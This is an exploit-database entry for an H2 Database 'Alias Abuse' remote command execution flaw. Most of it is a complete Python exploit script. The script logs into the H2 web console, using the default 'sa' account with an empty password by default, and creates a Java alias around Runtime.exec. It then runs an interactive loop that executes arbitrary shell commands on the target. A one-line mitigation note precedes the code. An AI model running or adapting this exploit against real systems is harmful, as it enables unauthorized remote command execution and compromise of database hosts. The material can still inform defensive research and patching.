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vendor:
H2 Database
by:
gambler
8.8
CVSS
HIGH
Alias Abuse
94
CWE
Product Name: H2 Database
Affected Version From: all versions
Affected Version To: all versions
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux, Mac OS
2018

H2 Database Alias Abuse

H2 Database is vulnerable to Alias Abuse. An attacker can exploit this vulnerability to execute arbitrary commands on the target system. This vulnerability was discovered by gambler in 2018 and affects all versions of H2 Database.

Mitigation:

The best way to mitigate this vulnerability is to restrict access to the H2 Database and ensure that only trusted users have access to it.
Source

Exploit-DB raw data:

'''
Exploit Title: H2 Database Alias Abuse
Date: 05/04/2018
Exploit Author: gambler
Vendor Homepage:www.h2database.com
Software Link: http://www.h2database.com/html/download.html
Version: all versions
Tested on: Linux, Mac OS
'''

import sys
import argparse
import html
import requests

# Blogpost about it
# https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

def getCookie(host):
    url = 'http://{}'.format(host)
    r = requests.get(url)
    path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp','.do')
    return '{}/{}'.format(url,path)

def login(url,user,passwd,database):
    data = {'language':'en','setting':'Generic+H2+(Embedded)','name':'Generic+H2+(Embedded)','driver':'org.h2.Driver','url':database,'user':user,'password':passwd}
    r = requests.post(url,data=data)
    if '<th class="login">Login</th>' in r.text:
        return False
    return True

def prepare(url):
    cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
    url = url.replace('login','query')
    r = requests.post(url,data={'sql':cmd})
    if not 'Syntax error' in r.text:
        return url
    return False

def execve(url,cmd):
    r = requests.post(url,data={'sql':"CALL EXECVE('{}')".format(cmd)})
    try:
        print(html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore'))
    except Exception as e:
        print('Something goes wrong')
        print(e)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('required arguments')
    required.add_argument("-H",
            "--host",
            metavar='127.0.0.1:4336',
            help="Specify a host",
            required=True)
    required.add_argument("-d",
            "--database-url",
            metavar='jdbc:h2~/test',
            default="jdbc:h2~/test",
            help="Database URL",
            required=False)
    required.add_argument("-u",
            "--user",
            metavar='username',
            default="sa",
            help="Username to log on H2 Database, default sa",
            required=False)
    required.add_argument("-p",
            "--password",
            metavar='password',
            default="",
            help="Password to log on H2 Database, default None",
            required=False)
    args = parser.parse_args()

url = getCookie(args.host)
if login(url,args.user,args.password,args.database_url):
    url = prepare(url)
    if url:
        while 1:
            try:
                cmd = input('cmdline@ ')
                execve(url,cmd)
            except KeyboardInterrupt:
                print("\nProfessores ensinam, nadadores Nadam e Hackers Hackeiam")
                sys.exit(0)
    else:
        print('ERROR - Inserting Payload')
        print("Something goes wrong, exiting...")
else:
    print("ERROR - Auth")
    print("Something goes wrong, exiting...")